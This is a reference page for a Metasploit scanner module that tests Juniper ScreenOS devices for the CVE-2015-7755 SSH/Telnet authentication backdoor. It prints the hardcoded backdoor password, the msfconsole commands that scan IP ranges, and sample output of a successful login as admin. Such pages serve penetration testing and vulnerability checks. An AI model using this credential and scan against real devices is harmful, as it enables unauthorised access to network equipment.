Juniper SSH Backdoor Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ssh/juniper_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Juniper SSH Backdoor Scanner
Module: auxiliary/scanner/ssh/juniper_backdoor
Source code: modules/auxiliary/scanner/ssh/juniper_backdoor.rb
Disclosure date: 2015-12-20
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2015-7755

This module scans for the Juniper SSH backdoor (also valid on Telnet). Any username is required, and the password is <<< %s(un='%s') = %u.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ssh/juniper_backdoor
msf auxiliary(juniper_backdoor) > show options
    ... show and set options ...
msf auxiliary(juniper_backdoor) > set RHOSTS ip-range
msf auxiliary(juniper_backdoor) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(juniper_backdoor) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(juniper_backdoor) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(juniper_backdoor) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Juniper JunOS between 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 are vulnerable.

A vulnerable copy of the firmware is available for a Juiper SSG5/SSG20 (v6.3.0r19.0): here

For verification puposes, an example vuln python script is also available here

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/ssh/juniper_backdoor
  4. Do: set rhosts
  5. Do: run
  6. You should see: [+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u

Scenarios


Example run against a Juniper SSG5 with vuln firmware from above link.

msf > use auxiliary/scanner/ssh/juniper_backdoor
msf auxiliary(juniper_backdoor) > set rhosts 192.168.1.1
rhosts => 192.168.1.1
msf auxiliary(juniper_backdoor) > set verbose true
verbose => true
msf auxiliary(juniper_backdoor) > run

[+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/ssh/juniper_backdoor auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ssh/juniper_backdoor

msf6 auxiliary(scanner/ssh/juniper_backdoor) > show info

       Name: Juniper SSH Backdoor Scanner
     Module: auxiliary/scanner/ssh/juniper_backdoor
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-12-20

Provided by:
  hdm <[email protected]>
  h00die <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    22               yes       The target port
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module scans for the Juniper SSH backdoor (also valid on 
  Telnet). Any username is required, and the password is <<< 
  %s(un='%s') = %u.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-7755
  https://blog.rapid7.com/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor
  https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713

Module Options


This is a complete list of options available in the scanner/ssh/juniper_backdoor auxiliary module:

msf6 auxiliary(scanner/ssh/juniper_backdoor) > show options

Module options (auxiliary/scanner/ssh/juniper_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    22               yes       The target port
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/ssh/juniper_backdoor auxiliary module:

msf6 auxiliary(scanner/ssh/juniper_backdoor) > show advanced

Module advanced options (auxiliary/scanner/ssh/juniper_backdoor):

   Name                 Current Setting                          Required  Description
   ----                 ---------------                          --------  -----------
   SSH_DEBUG            false                                    no        SSH debugging
   SSH_IDENT            SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT          10                                       no        SSH timeout
   ShowProgress         true                                     yes       Display progress messages during a scan
   ShowProgressPercent  10                                       yes       The interval in percent that progress should be shown
   VERBOSE              false                                    no        Enable detailed status messages
   WORKSPACE                                                     no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ssh/juniper_backdoor module can do:

msf6 auxiliary(scanner/ssh/juniper_backdoor) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ssh/juniper_backdoor auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ssh/juniper_backdoor) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • hdm
  • h00die <mike[at]stcyrsecurity.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.